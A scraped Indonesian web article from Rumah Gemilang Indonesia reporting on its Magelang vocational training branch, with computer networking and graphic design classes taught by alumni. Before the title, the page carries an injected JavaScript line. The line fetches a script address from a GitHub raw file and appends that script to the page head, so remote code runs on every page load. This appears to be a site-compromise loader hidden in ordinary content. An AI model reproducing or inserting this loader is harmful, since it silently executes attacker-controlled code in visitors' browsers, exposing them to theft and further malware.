;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); “Regenerasi Menjadi Kunci” Laporan dari Magelang – Rumah Gemilang Indonesia

“Regenerasi Menjadi Kunci” Laporan dari Magelang

“Regenerasi Menjadi Kunci” Laporan dari Magelang

Sejak di-launching nya Rumah Gemilang Indonesia (RGI)-Magelang pada 27 Juli 2012, aktifitas persiapan sebagai tindak lanjut program begitu geliatnya. Persiapan dimaksud adalah sosialasi program kepada stakeholders, persiapan teknis terkait perlengkapan pendidikan dan pelatihan keterampilan (diklat), proses seleksi peserta diklat, pematangan sistem diklat yang melibatkan tim manajemen dan para instruktur, dan lain sebagainya.

Awal Oktober 2012, kegiatan diklat RGI-Magelang resmi aktif dimulai. Sebanyak 20 peserta mengikuti program ini setelah melalui proses seleksi. Saat ini dua kelas yang dibuka, yaitu kelas teknik komputer & jaringan dan kelas desain grafis. Shiff pagi untuk kelas teknik komputer dan jaringan sedangkan shiff siang untuk kelas desain grafis. Penerapan sistem ini karena masih terbatasnya peralatan pelatihan yang disiapkan.

Kurikulum materi keterampilan, pola pembinaan mental dan spiritual yang diterapkan mengadopsi sistem yang disusun dan diberlakukan di RGI Sawangan. Setiap pagi sebelum memulai kegiatan belajar mengajar di kelas, seluruh peserta memulainya dengan sholat dhuha, dzikir, materi spiritual care community dan briefing.

Pembukaan diklat angkatan pertama RGI-Magelang dibuka langsung oleh Rafi, Direktur Pelaksana Yayasan DKD Magelang. “Alhamdulillah, selain memberikan software kurikulum dan sistem pembinaan akhlaq, support 2 orang alumni RGI sebagai instruktur sangat membantu berjalannya program”, ungkap Rafi. Mereka adalah Wahyu Puji Hartono, alumni kelas teknik komputer dan jaringan angkatan ke-6, dan Wahyu Sulistyo alumni kelas desain grafis angkatan ke-5.

Pendayagunaan alumni RGI sebagai instruktur keterampilan mempunyai tujuan dan nilai strategis. Bahkan regenerasi seperti ini menjadi kunci ukuran berhasilnya program pemberdayaan masyarakat berbasis pendidikan. Hal demikian juga yang menjadi salah satu misi RGI didirikan. Ilmu dan pengetahuan yang mereka peroleh lebih berguna bukan hanya buat diri pribadi, tapi juga untuk orang lain. Selain itu, pengalaman mereka dalam mengikuti proses diklat dari awal sampai selesai dapat dengan mudah diterapkan di RGI cabang daerah, salah satunya Magelang. Regenerasi dapat hidup dengan baik. Sehingga upaya menghadirkan pusdiklat RGI di berbagai daerah dengan capaian kualitas output program dari aspek keahlian, pengetahuan dan akhlaqul karimah dapat diraih dengan standar yang sama baik pusat maupun cabang daerah.

No Comments

Add your comment